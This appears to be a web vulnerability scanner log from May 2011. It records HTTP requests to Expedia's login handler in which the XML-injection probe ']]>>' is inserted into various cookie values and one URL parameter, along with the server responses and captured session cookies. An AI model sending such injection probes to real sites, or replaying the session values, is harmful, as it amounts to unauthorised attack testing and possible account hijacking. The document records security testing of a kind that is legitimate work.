Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg]]>>; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:57 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX014DBB3AEF$3D$BB201000$D8$27$E96gb$9D$0Dgb$9D$0Dgb$9D$0D10001000$1E810$2302!50$B2$F3$15$CA$27$8C$8B$D4$2E$38T$AE!e02000`minfo=v.5,EX01BCCE140C$FB$24$DD$0C$C03$DBZz9I$A1p$99I$298$D83$116$DEU$30$60$98o$E1$F1zq$B3$DE$EA$C33$1A$2B$D0$3EQ$A0$9CEf$C41$DB`262; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX018C501062$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D87$112$DEU$29$60$9Co$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||]]>>; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:29 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX013AF86C75$5C$BC201000$F2$27$E96$E2i$9D$0D$E2i$9D$0D$E2i$9D$0D10001000$1E810$2302!50F$86$CF$BAk$F3s$A1$18$A0$C9$B1!e02000`minfo=v.5,EX01AD0F6FAC$FE$24$DD$0C$BB$0F$B0O$B4$1FC$5DX$89Y$F6$33$90$21$E8$19$87$C82$9A$16H$B7$E5$36$D0$DA$2E$3A$1D$D5$29$37$27$13$30$7B$82`275; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01D8531B53$FE$24$DD$0C$A6$17$B8D$B8$1FCRG$8DY$F9$33$90$3D$EC$19$87$FA2$9A`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`170; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224]]>>; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:49 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX010D990D7F$E2$BD201000$D8$27$E96Cb$9D$0DCb$9D$0DCb$9D$0D10001000$1E810$2302!50$B2$F3$15$CA2$8C$8B$D4$26$D1$81Y!e02000`minfo=v.5,EX01C6EB692A$FB$24$DD$0C$C03$DBZz9I$A1p$99P$298$D85$113$D8U$30$60$98o$E1$F1zq$B3$DE$EA$C33$19$2B$DB$3EQ$A0$9CEf$C41$DB`260; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01C3388FB1$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D84$112$D8U$2C$60$9Ao$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

GET /pub/agent.dll?qscr=cach&hfnm=jstooltipi.htx]]>>&flag=j&nojs=1&zkey=1010331160&zz=5 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&ussl=1&&zz=1304739356206
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:46:27 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: s1=`0`user=v.8,0,EX017275821F$F3$94201000$90$27$E96!G0.!5010$2302!50$F6$2EH$96$89$18$BC$A6!4$FF!e02000`99; Domain=.expedia.com; path=/
Content-Length: 71708

<META HTTP-EQUIV="Content-Type" content="text/html; cha
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,]]>>; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:21 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01F273B9C0$8F$98201000$DA$27$E96$E7b$9D$0D$E7b$9D$0D$E7b$9D$0D10001000$1E810$2302!50$91$83$FBQ$D1$9E$85N$8BJ$F5l!e02000`minfo=v.5,EX01ED6C112C$FB$24$DD$0C$C03$DBZz6I$A8p$99D$2A8$D8$0C$113$DEU$30$60$98o$E1$F1zq$B3$DE$EA$C23$1C$2B$D0$3EQ$A0$9CEf$C41$DB`264; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01CF2CDB58$FB$24$DD$0C$DD3$DBGz1I$ACp$99D$288$D83$111$D1U$2C$60$9Co$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington]]>>; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:53:40 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX011BC4568E$85$98201000$D0$27$E96Bi$9D$0DBi$9D$0DBi$9D$0D10001000$1E810$2302!50$F7NTRJ$241eYyd$21!e02000`minfo=v.5,EX01CECA1537$FA$24$DD$0C$C4x9$19$7B$F1$35$60$ECz$3B$7E$33$E3i$12$22$D7$83$5E$0D$32UhpP$2F2$C1$35$0D$36$2A$F9$31sa$36$11$29$B8A$AB`257; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX0136B9D5EE$FA$24$DD$0C$D9x$11$1D$7B$F1$38$60$ECy$33$7B$33$E3p$12$22$DC$9D$5E70`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`175; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1]]>>; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Bre